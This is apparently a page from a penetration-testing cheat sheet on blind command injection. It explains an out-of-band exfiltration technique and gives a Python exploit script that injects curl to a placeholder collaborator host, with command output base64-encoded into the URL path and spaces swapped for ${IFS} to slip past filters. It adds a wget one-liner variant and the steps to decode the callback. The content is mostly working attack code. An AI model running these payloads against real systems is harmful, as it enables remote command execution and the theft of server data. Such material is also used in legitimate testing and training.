Skip to content
Blind OOB

Blind OOB

Blind command injection: out-of-band output exfiltration with ${IFS} space bypass

A blind command-injection sink executes the injected shell command but does not place stdout in the application response. Out-of-band exfiltration creates a second request from the target to a controlled callback server and places the command output in that request.

${IFS} expands the shell’s Internal Field Separator variable. Its default value contains whitespace used by the shell to separate command arguments. Replacing literal spaces with ${IFS} therefore preserves argument separation when an application filter rejects space characters.

The payload uses the following shell operations:

;                         -> finish the original command and begin another command
$(<COMMAND>|base64 -w0)   -> execute <COMMAND>, encode stdout, and insert the encoded text
curl http://<HOST>/<DATA> -> send that text in the path of an outbound HTTP request
#                         -> comment any unused shell syntax appended by the application

$() is command substitution: the shell executes the command inside the parentheses and substitutes its stdout into the surrounding command. base64 -w0 converts the output to one line so embedded newlines do not break the callback URL.

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

URL = "http://<TARGET>"
COLLABORATOR_DOMAIN = "<COLLABORATOR_DOMAIN>"
PROXIES = {}

def send_exploit(s, command):
    callback_command = f"curl http://{COLLABORATOR_DOMAIN}/$({command}|base64 -w0)"
    payload = f"<VALID_PREFIX>;{callback_command};#"
    payload = payload.replace(" ", "${IFS}")
    data = {
        "<INJECTED_FIELD>": payload
    }
    r = s.post(url=f"{URL}/<EXPLOIT_ENDPOINT>", data=data, verify=False, timeout=10, proxies=PROXIES)
    return r

if __name__ == "__main__":
    s = requests.Session()
    command = "<COMMAND>"
    r = send_exploit(s, command)
    if r.ok:
        print(f"[+] Command sent. OOB listener: {COLLABORATOR_DOMAIN}")
    else:
        print(f"[-] Delivery failed with HTTP {r.status_code}")

wget alternative

wget -qO- sends the same HTTP callback when curl is unavailable. -q suppresses progress output and -O- writes the response body to stdout rather than a file.

<VALID_PREFIX>;wget${IFS}-qO-${IFS}http://<COLLABORATOR_DOMAIN>/$(<COMMAND>|base64${IFS}-w0);#

Callback and decoding

GET /<BASE64_OUTPUT> HTTP/1.1
Host: <COLLABORATOR_DOMAIN>

The path component is decoded locally:

echo '<BASE64_OUTPUT>' | base64 -d

Expected output

<COMMAND_OUTPUT>

Find by: blind command injection, OOB exfiltration, collaborator, interactsh, oastify, HTTP exfiltration, IFS, internal field separator, space filter bypass, command substitution, no output reflection, RCE, base64 exfil